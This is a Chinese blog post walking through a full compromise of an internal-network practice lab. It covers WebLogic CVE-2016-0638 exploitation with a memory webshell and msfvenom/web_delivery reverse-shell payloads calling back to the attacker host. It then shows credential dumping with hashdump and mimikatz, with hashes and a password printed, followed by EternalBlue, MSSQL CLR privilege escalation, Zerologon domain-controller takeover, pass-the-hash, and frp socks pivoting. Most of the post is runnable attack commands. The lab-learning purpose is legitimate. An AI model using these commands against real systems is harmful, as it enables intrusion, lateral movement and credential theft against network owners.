前往小程序，Get更优阅读体验！
立即前往
文档建议反馈控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP最新优惠活动
返回腾讯云官网
社区首页 >专栏 >内网靶场初探

内网靶场初探

作者头像
用户9691112
发布于 2023-05-18 13:41:39
6080
发布于 2023-05-18 13:41:39
举报
文章被收录于专栏：quan9i的安全笔记

前言

内容写的很乱，因为第一次搞，有点不太熟练，所以各位师傅简单看看就好，写的比较好的文章，可以参考这两个 https://xz.aliyun.com/t/11588#toc-0 https://mp.weixin.qq.com

环境搭建

代码语言：javascript
复制
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2

拓扑图如下

在这里插入图片描述
在这里插入图片描述

具体我这里使用的攻击机和外网ip

代码语言：javascript
复制
kali:192.168.10.129
win2012:192.168.1

对于这些ip，我们只需要多设置几个网段就好，具体是在编辑中的虚拟网络编辑器

在这里插入图片描述
在这里插入图片描述

而后在各个机子的设置中使用这些网段就好

在这里插入图片描述
在这里插入图片描述

外网

假设我们这里已知了外网的ip为192.168.10.128，接下来我们用namp进行扫描，简单查看一下开放端口

代码语言：javascript
复制
nmap.exe -p1-65535 -Pn -A -T4 192.168.10.128
//这个命令行指令是使用nmap工具（nmap.exe）扫描IP地址为192.168.10.22的设备，扫描端口范围为
1-65535，使用-Pn选项表示不进行主机发现，使用-A选项表示进行操作系统指纹识别，使用-T4选项表示
扫描速度为最快。
在这里插入图片描述
在这里插入图片描述

这里扫描到7001端口开放，为WebLogic服务 这里使用脚本扫描一下，看是否存在漏洞，脚本链接如下 https://github.com/rabbitmask/WeblogicScan

在这里插入图片描述
在这里插入图片描述

可以发现这里存在多个CVE漏洞，接下来我们使用注入工具尝试打一下，工具链接 https://github.com/sp4zcmd/WeblogicExploit-GUI/releases/tag/WeblogicExploit-GUI 使用第一个CVE漏洞进行尝试，即CVE-2016-0638

在这里插入图片描述
在这里插入图片描述

成功执行命令，接下来尝试注入内存马

在这里插入图片描述
在这里插入图片描述

使用冰蝎进行连接

在这里插入图片描述
在这里插入图片描述

成功连接，拿到主机权限。 执行net time /domain查看是否在域内

在这里插入图片描述
在这里插入图片描述

不在域内，这个大概率是DMZ的机器，这里简单提一下DMZ

英文全名“Demilitarized Zone”，中文含义是“隔离区”。在安全领域的具体含义是“内外网防火墙之间的区域”。

这里的话我们的权限是管理员权限，所以不用再进行权限提升，这里开始进行信息搜集，首先查看一下是否存在杀软，指令如下

代码语言：javascript
复制
tasklist
//Tasklist命令是一个用来显示运行在本地或远程计算机上的所有进程的命令行工具
在这里插入图片描述
在这里插入图片描述

常见的杀软程序名字可以参考这里 https://github.com/wwl012345/AVCheck/blob/main/杀软识别.txt 这里的话可以看出不存在杀软，接下来进行msf上线，这里有两种方法

代码语言：javascript
复制
1、使用msfvenom生成木马文件
2、使用powercat进行反弹shell

法一

首先我们在kali中生成木马

代码语言：javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=7777 -f exe > shell3.exe

接下来将shell3.exe移到靶机中

在这里插入图片描述
在这里插入图片描述

而后在kali中执行如下指令

代码语言：javascript
复制
msfconsole  //进入框架
use exploit/multi/handler                      //载入模块
set payload windows/meterpreter/reverse_tcp    //加载攻击负载核
set lhost 192.168.10.129                   //设置本地监听地址，和生成的木马地址一致
set lport 7777                          //设置本地监听端口，和生成的木马地址一致
run                            //开始执行，等待目标上线
在这里插入图片描述
在这里插入图片描述

接下来在靶机中执行木马文件

在这里插入图片描述
在这里插入图片描述

而后按理说在kali中查看即可上线，但我的是

在这里插入图片描述
在这里插入图片描述

回显 Meterpreter session 1 closed. Reason: Died，百度这个后得知可能的几个原因是

代码语言：javascript
复制
1、msf版本不兼容
2、payload不匹配
3、存在杀软

生成木马和监听，payload都是windows/meterpreter/reverse_tcp，所以感觉应该不存在问题，杀软这个之前也已经检测过，不存在杀软，所以这里的话由于认知浅薄，技术过菜，这种方式没能继续下去，这里我换了一种方式来进行反弹shell

法二

打开kali，指令如下

代码语言：javascript
复制
msfconsole  //进入框架
use exploit/multi/script/web_delivery //载入模块
set srvhost 192.168.10.129
set srvport 8080
set lhost 192.168.10.129
set lport 7777
//options
//show targets
set target 2
set payload windows/x64/meterpreter/reverse_tcp //set target 2是设置了powershell（psh）模块
exploit -j
在这里插入图片描述
在这里插入图片描述

接下来将powershell.exe这些代码进行复制，复制到冰蝎中执行

在这里插入图片描述
在这里插入图片描述

此时在kali攻击机中输入jobs

在这里插入图片描述
在这里插入图片描述

可以发现此时就有会话了，我们进入会话

代码语言：javascript
复制
session 2
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

成功上线

上线后查看一下自动登录的密码

代码语言：javascript
复制
run windows/gather/credentials/windows_autologin
hashdump //导出密码
在这里插入图片描述
在这里插入图片描述
代码语言：javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

md5解密

在这里插入图片描述
在这里插入图片描述

接下来查看网络信息

代码语言：javascript
复制
run get_local_subnets
在这里插入图片描述
在这里插入图片描述

发现有两个网段，上传fscan，用它扫一下内网网段

代码语言：javascript
复制
fscan64.exe -h 10.10.20.0/24 > result.txt
在这里插入图片描述
在这里插入图片描述

win7

发现新的机器10.10.20.7,同时扫出此机器疑似存在MS17-010漏洞 接下来添加新路由

代码语言：javascript
复制
meterpreter > run autoroute -s 10.10.20.0/24 //添加路由
meterpreter > run autoroute -p //查看路由是否添加成功
在这里插入图片描述
在这里插入图片描述

接下来探测一下是否存在ms17-010漏洞 指令如下

代码语言：javascript
复制
search ms17-010
use 1
set RHOSTS 10.10.20.7
run
在这里插入图片描述
在这里插入图片描述

然后这里会发现确实存在漏洞

在这里插入图片描述
在这里插入图片描述

接下来就去利用这个漏洞获取权限

代码语言：javascript
复制
use 2
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
set lport 11111
run
在这里插入图片描述
在这里插入图片描述

执行sessions -l

在这里插入图片描述
在这里插入图片描述

发现直接就是system权限，无需提权，接下来用mimikatz抓一下密码，指令如下

代码语言：javascript
复制
load mimikatz
creds_all
在这里插入图片描述
在这里插入图片描述

换用其他方式抓取密码

代码语言：javascript
复制
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin
在这里插入图片描述
在这里插入图片描述

发现另一组用户john:admin!@#45 接下来去打mssql，用SharpSQLTools.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

而后cs利用中转生成木马，通过GUI工具上传到可写目录，接下来去执行即可上线cs

在这里插入图片描述
在这里插入图片描述

而后再利用sharpSQLTools进行权限提升，即可拿下mssql这个

代码语言：javascript
复制
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

最后一个域控的话，这里可以参考这篇文章 https://www.freebuf.com/articles/system/288515.html 我们这里首先验证漏洞是否存在，具体脚本看https://github.com/SecuraBV/CVE-2020-1472

在这里插入图片描述
在这里插入图片描述

回显Success，说明存在漏洞，接下来去重置域账号 脚本参考https://github.com/dirkjanm/CVE-2020-1472

但要先安装要安装impacket(https://github.com/SecureAuthCorp/impacket) 安装方法：python -m pip install

在这里插入图片描述
在这里插入图片描述

而后读取域控中的hash

代码语言：javascript
复制
python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
在这里插入图片描述
在这里插入图片描述

接下来有了hash，我们用wmiexec.py进行登录

代码语言：javascript
复制
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/administrator@10.10.10.8 -codec gbk
在这里插入图片描述
在这里插入图片描述

成功拿到权限

后言

这个靶场Mssql那个机子有问题，怎么打都打不进去，msf执行语句无法上线

在这里插入图片描述
在这里插入图片描述

使用proxifier+SharpSQLToolsGUI上传cs的木马文件后也无法上线

在这里插入图片描述
在这里插入图片描述

所以最终cs也是没能成功上线，只上线了两台机子

在这里插入图片描述
在这里插入图片描述

不过也学到了很多东西，比如ew代理，frp内网穿透，这里再说一下我cs上线的时候，是如何通过win2012打win7的，拿下win2012后，我们在攻击机中设置frps，frps.ini内容如下

代码语言：javascript
复制
[common]
bind_addr =0.0.0.0
bind_port = 7000
在这里插入图片描述
在这里插入图片描述

然后我们在受害机，也就是win2012中配置frpc，frpc.ini内容如下

代码语言：javascript
复制
[common]
server_addr = 192.168.10.129
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

然后执行frpc

在这里插入图片描述
在这里插入图片描述

回显success，此时代理就完成了，攻击机就相当于win2012了，接下来在攻击机用msf打就好了

代码语言：javascript
复制
msf6 > setg Proxies socks5:192.168.0.175:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

然后还有cs的使用，cs的话首先需要kali开启teamserver

在这里插入图片描述
在这里插入图片描述

然后再打开cs，ip对应，密码123456即可连接

本文参与 腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。
原始发表：2023/02/08 ，如有侵权请联系 cloudcommunity@tencent.com 删除
工具
脚本
连接
漏洞
权限

本文分享自 作者个人站点/博客 前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ，欢迎热爱写作的你一起参与！

工具
脚本
连接
漏洞
权限
评论
登录后参与评论
0 条评论
热度
最新
登录 后参与评论
推荐阅读
LV.
文章
0
获赞
0
目录
  • 前言
    • 环境搭建
    • 外网
      • 法一
        • 法二
        • win7
        • 后言
        相关产品与服务
        命令行工具
        腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具，您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外，您还可以基于腾讯云的命令行工具来做自动化和脚本处理，以更多样的方式进行组合和重用。
        产品介绍产品文档
        领券

        腾讯云开发者

        扫码关注腾讯云开发者

        扫码关注腾讯云开发者

        领取腾讯云代金券

        热门产品

        热门推荐

        更多推荐

        Copyright © 2013 - 2024 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 

        深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 深公网安备号 44030502008569

        腾讯云计算（北京）有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287

        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档

        Copyright © 2013 - 2024 Tencent Cloud.

        All Rights Reserved. 腾讯云 版权所有

        登录 后参与评论